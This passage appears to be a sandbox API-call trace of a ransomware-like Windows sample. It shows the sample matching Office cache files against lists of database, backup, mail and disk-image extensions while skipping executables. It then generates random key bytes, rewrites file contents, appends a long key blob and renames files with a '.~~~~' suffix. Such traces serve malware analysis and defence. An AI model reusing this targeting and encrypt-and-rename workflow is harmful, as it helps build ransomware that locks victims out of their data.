	[0064.596] lstrlenW (lpString=".DB3") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DB3") returned 0x0
	[0064.596] lstrlenW (lpString=".DAT") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DAT") returned 0x0
	[0064.596] lstrlenW (lpString=".VHDX") returned 5
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".VHDX") returned 0x0
	[0064.596] lstrlenW (lpString=".ndf") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".ndf") returned 0x0
	[0064.596] lstrlenW (lpString=".DB") returned 3
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DB") returned 0x0
	[0064.597] lstrlenW (lpString=".sql") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".sql") returned 0x0
	[0064.597] lstrlenW (lpString=".MYD") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".MYD") returned 0x0
	[0064.597] lstrlenW (lpString=".DBT") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DBT") returned 0x0
	[0064.597] lstrlenW (lpString=".ACCDB") returned 6
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".ACCDB") returned 0x0
	[0064.597] lstrlenW (lpString=".fdb") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".fdb") returned 0x0
	[0064.597] lstrlenW (lpString=".bak") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".bak") returned 0x0
	[0064.597] lstrlenW (lpString=".myd") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".myd") returned 0x0
	[0064.597] lstrlenW (lpString=".DTXS") returned 5
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DTXS") returned 0x0
	[0064.597] lstrlenW (lpString=".ckp") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".ckp") returned 0x0
	[0064.597] lstrlenW (lpString=".dbt") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dbt") returned 0x0
	[0064.597] lstrlenW (lpString=".db") returned 3
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".db") returned 0x0
	[0064.597] lstrlenW (lpString=".TXT") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".TXT") returned 0x0
	[0064.597] lstrlenW (lpString=".MDF") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".MDF") returned 0x0
	[0064.597] lstrlenW (lpString=".bdb") returned 4
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".bdb") returned 0x0
	[0064.597] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0064.597] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0064.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27fa398
	[0064.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0064.598] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0064.598] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0064.599] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0064.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a6030
	[0064.599] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18458885097) returned 1
	[0064.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x93a5e190, dwHighDateTime=0x1d60e1e)) 
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e308
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0064.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e308 | out: hHeap=0x300000) returned 1
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39e958
	[0064.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6730
	[0064.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e958 | out: hHeap=0x300000) returned 1
	[0064.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fa4d0
	[0064.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.599] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.600] SetLastError (dwErrCode=0x0) 
	[0064.600] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] GetLastError () returned 0x0
	[0064.601] SetLastError (dwErrCode=0x0) 
	[0064.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa4d0 | out: hHeap=0x300000) returned 1
	[0064.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b2038
	[0064.602] ReadFile (in: hFile=0x110, lpBuffer=0x3b2038, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0064.607] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0064.607] WriteFile (in: hFile=0x110, lpBuffer=0x3b2038*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0064.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2038 | out: hHeap=0x300000) returned 1
	[0064.609] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0064.609] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.611] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.611] CloseHandle (hObject=0x110) returned 1
	[0066.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0066.453] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.~~~~")) returned 1
	[0066.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0066.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0066.480] GetLastError () returned 0x0
	[0066.480] SetLastError (dwErrCode=0x0) 
	[0066.480] GetLastError () returned 0x0
	[0066.480] SetLastError (dwErrCode=0x0) 
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6030 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa398 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0066.480] RtlWakeConditionVariable () returned 0x365f70
	[0066.480] GetCurrentThreadId () returned 0x9f4
	[0066.480] GetCurrentThreadId () returned 0x9f4
	[0066.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0066.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0066.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6bc8
	[0066.480] lstrlenW (lpString=".scr") returned 4
	[0066.480] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".scr") returned 0x0
	[0066.480] lstrlenW (lpString=".cmd") returned 4
	[0066.480] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".cmd") returned 0x0
	[0066.480] lstrlenW (lpString=".dll") returned 4
	[0066.480] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dll") returned 0x0
	[0066.481] lstrlenW (lpString=".bat") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".bat") returned 0x0
	[0066.481] lstrlenW (lpString=".cpl") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".cpl") returned 0x0
	[0066.481] lstrlenW (lpString=".sys") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".sys") returned 0x0
	[0066.481] lstrlenW (lpString=".msc") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".msc") returned 0x0
	[0066.481] lstrlenW (lpString=".com") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".com") returned 0x0
	[0066.481] lstrlenW (lpString=".lnk") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".lnk") returned 0x0
	[0066.481] lstrlenW (lpString=".msp") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".msp") returned 0x0
	[0066.481] lstrlenW (lpString=".pif") returned 4
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".pif") returned 0x0
	[0066.481] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.481] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0066.481] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0066.482] lstrlenW (lpString=".sqb") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".sqb") returned 0x0
	[0066.482] lstrlenW (lpString=".ost") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".ost") returned 0x0
	[0066.482] lstrlenW (lpString=".txt") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".txt") returned 0x0
	[0066.482] lstrlenW (lpString=".mdt") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".mdt") returned 0x0
	[0066.482] lstrlenW (lpString=".BDB") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".BDB") returned 0x0
	[0066.482] lstrlenW (lpString=".eql") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".eql") returned 0x0
	[0066.482] lstrlenW (lpString=".DBF") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DBF") returned 0x0
	[0066.482] lstrlenW (lpString=".EQL") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".EQL") returned 0x0
	[0066.482] lstrlenW (lpString=".FDB") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".FDB") returned 0x0
	[0066.482] lstrlenW (lpString=".EDB") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".EDB") returned 0x0
	[0066.482] lstrlenW (lpString=".DACPAC") returned 7
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DACPAC") returned 0x0
	[0066.482] lstrlenW (lpString=".VHD") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".VHD") returned 0x0
	[0066.482] lstrlenW (lpString=".DBV") returned 4
	[0066.482] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DBV") returned 0x0
	[0066.482] lstrlenW (lpString=".dacpac") returned 7
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dacpac") returned 0x0
	[0066.483] lstrlenW (lpString=".sdf") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".sdf") returned 0x0
	[0066.483] lstrlenW (lpString=".accdb") returned 6
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".accdb") returned 0x0
	[0066.483] lstrlenW (lpString=".DBX") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DBX") returned 0x0
	[0066.483] lstrlenW (lpString=".MDT") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".MDT") returned 0x0
	[0066.483] lstrlenW (lpString=".SQB") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".SQB") returned 0x0
	[0066.483] lstrlenW (lpString=".vhd") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".vhd") returned 0x0
	[0066.483] lstrlenW (lpString=".bac") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".bac") returned 0x0
	[0066.483] lstrlenW (lpString=".mdf") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".mdf") returned 0x0
	[0066.483] lstrlenW (lpString=".BAK") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".BAK") returned 0x0
	[0066.483] lstrlenW (lpString=".BAC") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".BAC") returned 0x0
	[0066.483] lstrlenW (lpString=".dbs") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dbs") returned 0x0
	[0066.483] lstrlenW (lpString=".vhdx") returned 5
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".vhdx") returned 0x0
	[0066.483] lstrlenW (lpString=".NDF") returned 4
	[0066.483] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".NDF") returned 0x0
	[0066.483] lstrlenW (lpString=".dat") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dat") returned 0x0
	[0066.484] lstrlenW (lpString=".DBS") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DBS") returned 0x0
	[0066.484] lstrlenW (lpString=".CKP") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".CKP") returned 0x0
	[0066.484] lstrlenW (lpString=".edb") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".edb") returned 0x0
	[0066.484] lstrlenW (lpString=".PST") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".PST") returned 0x0
	[0066.484] lstrlenW (lpString=".dbf") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dbf") returned 0x0
	[0066.484] lstrlenW (lpString=".SQL") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".SQL") returned 0x0
	[0066.484] lstrlenW (lpString=".pst") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".pst") returned 0x0
	[0066.484] lstrlenW (lpString=".dbv") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dbv") returned 0x0
	[0066.484] lstrlenW (lpString=".SDF") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".SDF") returned 0x0
	[0066.484] lstrlenW (lpString=".dtxs") returned 5
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dtxs") returned 0x0
	[0066.484] lstrlenW (lpString=".db3") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".db3") returned 0x0
	[0066.484] lstrlenW (lpString=".OST") returned 4
	[0066.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".OST") returned 0x0
	[0066.484] lstrlenW (lpString=".dbx") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dbx") returned 0x0
	[0066.485] lstrlenW (lpString=".DB3") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DB3") returned 0x0
	[0066.485] lstrlenW (lpString=".DAT") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DAT") returned 0x0
	[0066.485] lstrlenW (lpString=".VHDX") returned 5
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".VHDX") returned 0x0
	[0066.485] lstrlenW (lpString=".ndf") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".ndf") returned 0x0
	[0066.485] lstrlenW (lpString=".DB") returned 3
